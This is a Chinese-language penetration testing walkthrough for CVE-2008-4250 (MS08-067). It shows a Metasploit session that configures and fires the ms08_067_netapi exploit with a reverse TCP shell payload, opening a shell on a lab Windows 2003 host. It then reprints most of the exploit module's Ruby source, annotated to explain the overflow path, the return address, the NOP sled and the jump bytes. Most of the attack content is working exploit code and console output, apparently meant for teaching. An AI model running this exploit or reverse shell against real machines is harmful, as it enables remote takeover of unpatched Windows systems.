CVE-2008-4250

Step

搜索漏洞利用模块

msf > search ms08_067

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Microsoft Server Service Relative Path Stack Corruption

选择载荷

msf  exploit(ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
...SNIP...
   generic/shell_reverse_tcp                                         normal  Generic Command Shell, Reverse TCP Inline
...SNIP...
msf  exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp

攻击载荷配置选项

msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf  exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
...SNIP...
   5   Windows 2003 SP0 Universal
...SNIP...
msf  exploit(ms08_067_netapi) > set RHOST 10.10.10.130
RHOST => 10.10.10.130
msf  exploit(ms08_067_netapi) > set LPORT 5000
LPORT => 5000
msf  exploit(ms08_067_netapi) > set LHOST 10.10.10.128
LHOST => 10.10.10.128
msf  exploit(ms08_067_netapi) > set target 5
target => 5

攻击

msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.10.10.128:5000
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (10.10.10.128:5000 -> 10.10.10.130:2041) at 2020-09-06 08:36:57 -0400

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> echo 'Successfully!'

分析

攻击模块源码

# 此模块将包含Metasploit核心库的所有函数
require 'msf/core'
# 类将继承远程渗透类的特性
class Metasploit3 < Msf::Exploit::Remote
# 非常高的利用可能
    Rank = GreatRanking
# 从核心库中导入DCERPC和SMB利用模块
    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Server Service Relative Path Stack Corruption',
# 模块描述,大致信息:
#   漏洞发生的位置位于Server服务调用的NetAPI32.dll中,进行path canonicalization(路径规范化)的代码。
#   此模块可以绕过一些版本的DEP,选择的目标与真实系统不同会造成Server服务的崩溃。
#   并发攻击下,XP可以成功渗透,2003系统通常会崩溃或挂起。
            'Description'    => %q{
                    This module exploits a parsing flaw in the path canonicalization code of
                NetAPI32.dll through the Server Service. This module is capable of bypassing
                NX on some operating systems and service packs. The correct target must be
                used to prevent the Server Service (along with a dozen others in the same
                process) from crashing. Windows XP targets seem to handle multiple successful
                exploitation events, but 2003 targets will often crash or hang on subsequent
                attempts. This is just the first version of this module, full support for
                NX bypass on 2003, along with other platforms, is still in development.
            },
            'Author'         =>
                [
                    'hdm', # with tons of input/help/testing from the community
                    'Brett Moore <brett.moore[at]insomniasec.com>',
                    'staylor', # check() detection
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12540 $',
# 该漏洞在各个安全漏洞库中的参考名称、ID或URL
            'References'     =>
                [
                    [ 'CVE', '2008-4250'],
                    [ 'OSVDB', '49243'],
                    [ 'MSB', 'MS08-067' ],
                    # If this vulnerability is found, ms08-67 is exposed as well
                    [ 'NEXPOSE', 'dcerpc-ms-netapi-netpathcanonicalize-dos']
                ],
# 默认选项,此处设置会话推出是预设采用退出线程的方式
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
# Payload初始化参数,一般包括可用空间大小与坏字符,此处还有两个关于调整栈空间布局的选项
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
                    'Prepend'  => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
                    'StackAdjustment' => -3500,

                },
            'Platform'       => 'win',
            'DefaultTarget'  => 0,
# 根据渗透目标的不同来进行不同的初始化,每个成员对应于可以被该模块攻击的操作系统平台
#   成员的各个变量对于该系统下成功渗透的几个关键部分,包括:
#       返回地址在栈的位置、绕过NX需要的代码块地址等
            'Targets'        =>
                [
                    #
                    # Automatic targetting via fingerprinting
                    #
                    [ 'Automatic Targeting', { 'auto' => true } ],
# ...SNIP...
                    # Standard return-to-ESI without NX bypass
                    [ 'Windows 2003 SP0 Universal',
                        {
                            'Ret'       => 0x0100129e,
                            'Scratch'   => 0x00020408,
                        }
                    ], # JMP ESI SVCHOST.EXE
# ...SNIP...
                ],

            'DisclosureDate' => 'Oct 28 2008'))

        register_options(
            [
                OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
            ], self.class)

    end
    def exploit
# 首先建立TCP连接,然后进行SMB空会话连接,若制定了目标系统,则赋予相关变量以相应的值
#   若是自动获取,则尝试使用SMB会话获取目标系统信息...
        connect()
        smb_login()
        # Use a copy of the target
        mytarget = target
        if(target['auto'])
            mytarget = nil
            print_status("Automatically detecting the target...")
            fprint = smb_fingerprint()
            print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")
            # Bail early on unknown OS
            if(fprint['os'] == 'Unknown')
                raise RuntimeError, "No matching target"
            end
            # Windows 2000 is mostly universal
            if(fprint['os'] == 'Windows 2000')
                mytarget = self.targets[1]
            end
# ...SNIP...
# 构建恶意路径,先初始化一些变量,包括填充字符串 pad ,服务器名称 server 以及前缀 prefix ,路径 path。
#   调用的库Rex (Ruby Extension Library) 是Metasploit Framework体系结构的基础
        padder = [*("A".."Z")]
        pad = "A"
        while(pad.length < 7)
            c = padder[rand(padder.length)]
            next if pad.index(c)
            pad += c
        end
        prefix = "\\"
        path   = ""
        server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
# 针对某一目标的攻击代码
#   由前文知,变量ret, scratch,ret对应SVCHOST.EXE系统文件中的JMP ESI指令地址
#   攻击模块是利用ESI寄存器中指向栈空间的地址,覆盖返回地址,通过JMP ESI指令进行跳转,
#   最终执行栈中的Shellcode,期间可能需要关闭NX
        # Windows 2000, XP (NX), and 2003 (NO NX) mytargets
        if(not mytarget['RetDec'])
# 构造内含跳转地址的填充字符串jumper,初始化长度为70,内容为A-Z的随机字符
            jumper = Rex::Text.rand_text_alpha(70).upcase
# 从第5字节起填充4字节由初始化ret定义的返回地址
            jumper[ 4,4] = [mytarget.ret].pack("V")
# 从第51字节填充8字节的nop指令和2字节的跳转指令"\xeb\x62"(jmp 0x62)
            jumper[50,8] = make_nops(8)
            jumper[58,2] = "\xeb\x62"
# 生成恶意路径结构,详细信息见注释
            path =
                Rex::Text.to_unicode("\\") +
                # This buffer is removed from the front
                Rex::Text.rand_text_alpha(100) +
                # Shellcode
                payload.encoded +
                # Relative path to trigger the bug
                Rex::Text.to_unicode("\\..\\..\\") +
                # Extra padding
                Rex::Text.to_unicode(pad) +
                # Writable memory location (static)
                [mytarget['Scratch']].pack("V") + # EBP
                # Return to code which disables NX (or just the return)
                [ mytarget['DisableNX'] || mytarget.ret ].pack("V") +
                # Padding with embedded jump
                jumper +
                # NULL termination
                "\x00" * 2
        end
# ...SNIP...
# 把构造的数据发送出去
# 首先向SMB端口发送RPC请求
        handle = dcerpc_handle(
            '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
            'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
        )
        dcerpc_bind(handle)
# 构造完整的数据包
        stub =
            NDR.uwstring(server) +
            NDR.UnicodeConformantVaryingStringPreBuilt(path) +
            NDR.long(rand(1024)) +
            NDR.wstring(prefix) +
            NDR.long(4097) +
            NDR.long(0)
        # NOTE: we don't bother waiting for a response here...
        print_status("Attempting to trigger the vulnerability...")
# 将stub作为内容调用远程主机的RPC接口
        dcerpc.call(0x1f, stub, false)
        # Cleanup
        handler
        disconnect
    end
    def check
        begin
            connect()
            smb_login()
        rescue Rex::ConnectionError => e
            print_error("Connection failed: #{e.class}: #{e}")
            return
        end
        #
        # Build the malicious path name
        # 5b878ae7 "db @eax;g"
        prefix = "\\"
        path =
            "\x00\\\x00/"*0x10 +
            Rex::Text.to_unicode("\\") +
            Rex::Text.to_unicode("R7") +
            Rex::Text.to_unicode("\\..\\..\\") +
            Rex::Text.to_unicode("R7") +
            "\x00"*2
        server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
        handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
            'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
        )
        begin
            # Samba doesn't have this handle and returns an ErrorCode
            dcerpc_bind(handle)
        rescue Rex::Proto::SMB::Exceptions::ErrorCode
            return Msf::Exploit::CheckCode::Safe
        end
        print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
        stub =
            NDR.uwstring(server) +
            NDR.UnicodeConformantVaryingStringPreBuilt(path) +
            NDR.long(8) +
            NDR.wstring(prefix) +
            NDR.long(4097) +
            NDR.long(0)
        resp = dcerpc.call(0x1f, stub)
        error = resp[4,4].unpack("V")[0]
        # Cleanup
        simple.client.close
        simple.client.tree_disconnect
        disconnect
        if (error == 0x0052005c) # \R :)
            return Msf::Exploit::CheckCode::Vulnerable
        else
            print_status("System is not vulnerable (status: 0x%08x)" % error) if error
            return Msf::Exploit::CheckCode::Safe
        end
    end
end

stub 是符合 NetPathCanonicalize 结构的标准调用包头,将触发远程主机上的 Server 服务去调用路径规范化处理函数 NetpwPathCannonicalize,stubsrvsvcNetPathCanonicalize 结构体如下:

struct srvsvc_NetPathCanonicalize {
    struct {
        const char *server_unc; // [unique, charset(UTF16)]
        const char *path;       // [charset(UTF16)]
        uint32_t maxbuf;
        const char *prefix;     // [charset(UTF16)]
        uint32_t pathflags;
        uint32_t *pathtype;     // [ref]
    } in;
};

二进制分析见《Metasploit 渗透测试魔鬼训练营》P205-211。

湘ICP备19014083号-1